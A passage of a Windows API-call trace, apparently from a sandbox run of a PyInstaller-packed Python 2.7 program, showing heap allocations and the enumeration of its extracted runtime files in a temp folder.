0x2c843c8 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba20 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84338 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84350 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843b0 [0075.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84200 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.429] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84200 [0075.429] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84200, Size=0x20) returned 0x30283f0 [0075.429] GetCurrentThreadId () returned 0x9b0 [0075.430] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18e60 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c840f8 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84278 [0075.430] GetCurrentThreadId () returned 0x9b0 [0075.430] GetCurrentThreadId () returned 0x9b0 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84188 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843c8 [0075.430] GetCurrentThreadId () returned 0x9b0 [0075.430] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19658, Size=0x8c) returned 0x2ac0e68 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843c8 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84260 [0075.430] GetCurrentThreadId () returned 0x9b0 [0075.430] GetCurrentThreadId () returned 0x9b0 [0075.430] GetCurrentThreadId () returned 0x9b0 [0075.430] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cdeba8, Size=0xe8) returned 0x3259f40 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84188 [0075.430] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84200 [0075.431] GetCurrentThreadId () returned 0x9b0 [0075.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.431] GetCurrentThreadId () returned 0x9b0 [0075.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.431] GetCurrentThreadId () returned 0x9b0 [0075.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84200 [0075.431] GetCurrentThreadId () returned 0x9b0 [0075.431] GetCurrentThreadId () returned 0x9b0 [0075.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0075.431] GetCurrentThreadId () returned 0x9b0 [0075.431] GetCurrentThreadId () returned 0x9b0 [0075.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e6c80 [0075.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.431] GetCurrentThreadId () returned 0x9b0 [0075.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84320 [0075.431] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84320, Size=0x20) returned 0x3028238 [0075.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba20 [0075.431] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab960 [0075.432] GetCurrentThreadId () returned 0x9b0 [0075.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e7d58 [0075.432] GetCurrentThreadId () returned 0x9b0 [0075.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c841a0 [0075.432] GetCurrentThreadId () returned 0x9b0 [0075.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843e0 [0075.432] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c843e0, Size=0x20) returned 0x30283f0 [0075.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32ab9b0 [0075.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba20 [0075.432] GetCurrentThreadId () returned 0x9b0 [0075.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x48) returned 0x2a85a50 [0075.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e7d58 [0075.433] GetCurrentThreadId () returned 0x9b0 [0075.433] GetCurrentThreadId () returned 0x9b0 [0075.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c842d8 [0075.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84218 [0075.433] GetCurrentThreadId () returned 0x9b0 [0075.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de880 [0075.433] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", nBufferLength=0x208, lpBuffer=0x9b9be8, lpFilePart=0x9b9be4 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFilePart=0x9b9be4*="_MEI11~1") returned 0x2b [0075.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de8b8 [0075.433] GetCurrentThreadId () returned 0x9b0 [0075.433] FindFirstFileA (in: lpFileName="c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\*.*", lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9b9f1c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10556e0 [0075.433] GetLastError () returned 0x3 [0075.434] GetCurrentThreadId () returned 0x9b0 [0075.434] GetLastError () returned 0x3 [0075.434] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9b9f1c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0075.434] GetLastError () returned 0x3 [0075.434] GetCurrentThreadId () returned 0x9b0 [0075.434] GetLastError () returned 0x3 [0075.434] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc55804, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc55804, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc55804, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x9b9f1c, dwReserved1=0x73013d47, cFileName="bz2.pyd", cAlternateFileName="")) returned 1 [0075.434] GetLastError () returned 0x3 [0075.434] GetCurrentThreadId () returned 0x9b0 [0075.434] GetLastError () returned 0x3 [0075.435] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd7f4505, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9b9f1c, dwReserved1=0x73013d47, cFileName="Crypto", cAlternateFileName="")) returned 1 [0075.435] GetLastError () returned 0x3 [0075.435] GetCurrentThreadId () returned 0x9b0 [0075.435] GetLastError () returned 0x3 [0075.435] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde41520a, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde41520a, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde41520a, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9b9f1c, dwReserved1=0x73013d47, cFileName="Include", cAlternateFileName="")) returned 1 [0075.435] GetLastError () returned 0x3 [0075.435] GetCurrentThreadId () returned 0x9b0 [0075.435] GetLastError () returned 0x3 [0075.435] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd7f4505, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd7f4505, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x9b9f1c, dwReserved1=0x73013d47, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0075.435] GetLastError () returned 0x3 [0075.435] GetCurrentThreadId () returned 0x9b0 [0075.435] GetLastError () returned 0x3 [0075.435] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc7ba19, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc7ba19, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc7ba19, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x37000, dwReserved0=0x9b9f1c, dwReserved1=0x73013d47, cFileName="msvcm90.dll", cAlternateFileName="")) returned 1 [0075.435] GetLastError () returned 0x3 [0075.435] GetCurrentThreadId () returned 0x9b0 [0075.435] GetLastError () returned 0x3 [0075.435] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddcc7f01, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddcc7f01, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddcee14e, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x8b490, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="msvcp90.dll", cAlternateFileName="")) returned 1 [0075.435] GetLastError () returned 0x3 [0075.435] GetCurrentThreadId () returned 0x9b0 [0075.435] GetLastError () returned 0x3 [0075.436] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd14536, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddd14536, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddd60857, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x9fa90, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0075.436] GetLastError () returned 0x3 [0075.436] GetCurrentThreadId () returned 0x9b0 [0075.436] GetLastError () returned 0x3 [0075.436] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd7f4505, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd81a93d, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x542, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="NewSource.exe.manifest", cAlternateFileName="NEWSOU~1.MAN")) returned 1 [0075.436] GetLastError () returned 0x3 [0075.436] GetCurrentThreadId () returned 0x9b0 [0075.436] GetLastError () returned 0x3 [0075.436] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd86ac5, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddd86ac5, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddd86ac5, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="pyexpat.pyd", cAlternateFileName="")) returned 1 [0075.436] GetLastError () returned 0x3 [0075.436] GetCurrentThreadId () returned 0x9b0 [0075.436] GetLastError () returned 0x3 [0075.436] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfe8e71, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddfe8e71, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde143dca, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x287000, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="python27.dll", cAlternateFileName="")) returned 1 [0075.436] GetLastError () returned 0x3 [0075.436] GetCurrentThreadId () returned 0x9b0 [0075.436] GetLastError () returned 0x3 [0075.436] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1668ae, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde1668ae, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde1668ae, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="select.pyd", cAlternateFileName="")) returned 1 [0075.436] GetLastError () returned 0x3 [0075.436] GetCurrentThreadId () returned 0x9b0 [0075.436] GetLastError () returned 0x3 [0075.436] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde41520a, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="tcl", cAlternateFileName="")) returned 1 [0075.436] GetLastError () returned 0x3 [0075.437] GetCurrentThreadId () returned 0x9b0 [0075.437] GetLastError () returned 0x3 [0075.437] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde2253aa, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde2253aa, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde27183c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xda600, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="tcl85.dll", cAlternateFileName="")) returned 1 [0075.437] GetLastError () returned 0x3 [0075.437] GetCurrentThreadId () returned 0x9b0 [0075.437] GetLastError () returned 0x3 [0075.437] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f4b867, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe3a95614, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe3a95614, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="tk", cAlternateFileName="")) returned 1 [0075.437] GetLastError () returned 0x3 [0075.437] GetCurrentThreadId () returned 0x9b0 [0075.437] GetLastError () returned 0x3 [0075.437] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde30a180, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde30a180, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde3886bf, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x145000, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="tk85.dll", cAlternateFileName="")) returned 1 [0075.437] GetLastError () returned 0x3 [0075.437] GetCurrentThreadId () returned 0x9b0 [0075.437] GetLastError () returned 0x3 [0075.437] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3c8d6b, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde3c8d6b, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde3ef059, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xa7c00, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="unicodedata.pyd", cAlternateFileName="UNICOD~1.PYD")) returned 1 [0075.437] GetLastError () returned 0x3 [0075.437] GetCurrentThreadId () returned 0x9b0 [0075.437] GetLastError () returned 0x3 [0075.437] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd8d9519, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd8d9519, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd95a418, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x10e200, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="_bsddb.pyd", cAlternateFileName="")) returned 1 [0075.437] GetLastError () returned 0x3 [0075.437] GetCurrentThreadId () returned 0x9b0 [0075.438] GetLastError () returned 0x3 [0075.438] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd980b69, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd980b69, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd980b69, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="_cffi_backend.pyd", cAlternateFileName="_CFFI_~1.PYD")) returned 1 [0075.438] GetLastError () returned 0x3 [0075.438] GetCurrentThreadId () returned 0x9b0 [0075.438] GetLastError () returned 0x3 [0075.438] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd980b69, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd980b69, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd9a6d06, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="_ctypes.pyd", cAlternateFileName="")) returned 1 [0075.438] GetLastError () returned 0x3 [0075.438] GetCurrentThreadId () returned 0x9b0 [0075.438] GetLastError () returned 0x3 [0075.438] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9f31e8, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd9f31e8, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdda65925, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x10ba00, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="_hashlib.pyd", cAlternateFileName="")) returned 1 [0075.438] GetLastError () returned 0x3 [0075.438] GetCurrentThreadId () returned 0x9b0 [0075.438] GetLastError () returned 0x3 [0075.438] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda65925, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdda65925, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdda8bb4c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="_socket.pyd", cAlternateFileName="")) returned 1 [0075.438] GetLastError () returned 0x3 [0075.438] GetCurrentThreadId () returned 0x9b0 [0075.438] GetLastError () returned 0x3 [0075.438] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddafe297, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddafe297, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc09057, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x159a00, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="_ssl.pyd", cAlternateFileName="")) returned 1 [0075.438] GetLastError () returned 0x3 [0075.438] GetCurrentThreadId () returned 0x9b0 [0075.438] GetLastError () returned 0x3 [0075.439] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc2f38c, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc2f38c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc2f38c, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="_testcapi.pyd", cAlternateFileName="_TESTC~1.PYD")) returned 1 [0075.439] GetLastError () returned 0x3 [0075.439] GetCurrentThreadId () returned 0x9b0 [0075.439] GetLastError () returned 0x3 [0075.439] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc2f38c, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc2f38c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc55804, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="_tkinter.pyd", cAlternateFileName="")) returned 1 [0075.439] GetLastError () returned 0x3 [0075.439] GetCurrentThreadId () returned 0x9b0 [0075.439] GetLastError () returned 0x3 [0075.439] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9ba160 | out: lpFindFileData=0x9ba160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc2f38c, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc2f38c, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc55804, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x9b9f1c, dwReserved1=0x0, cFileName="_tkinter.pyd", cAlternateFileName="")) returned 0 [0075.439] GetLastError () returned 0x12 [0075.439] GetCurrentThreadId () returned 0x9b0 [0075.439] GetLastError () returned 0x12 [0075.439] FindClose (in: hFindFile=0x10556e0 | out: hFindFile=0x10556e0) returned 1 [0075.439] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6f8 [0075.440] FindFirstFileA (in: lpFileName="c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\*.*", lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba134, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x1055920 [0075.440] GetLastError () returned 0x12 [0075.440] FindNextFileA (in: hFindFile=0x1055920, lpFindFileData=0x9ba378 | out: lpFindFileData=0x9ba378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba134, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0075.440] GetLastError () returned 0x12 [0075.440] FindNextFileA (in: hFindFile=0x1055920, 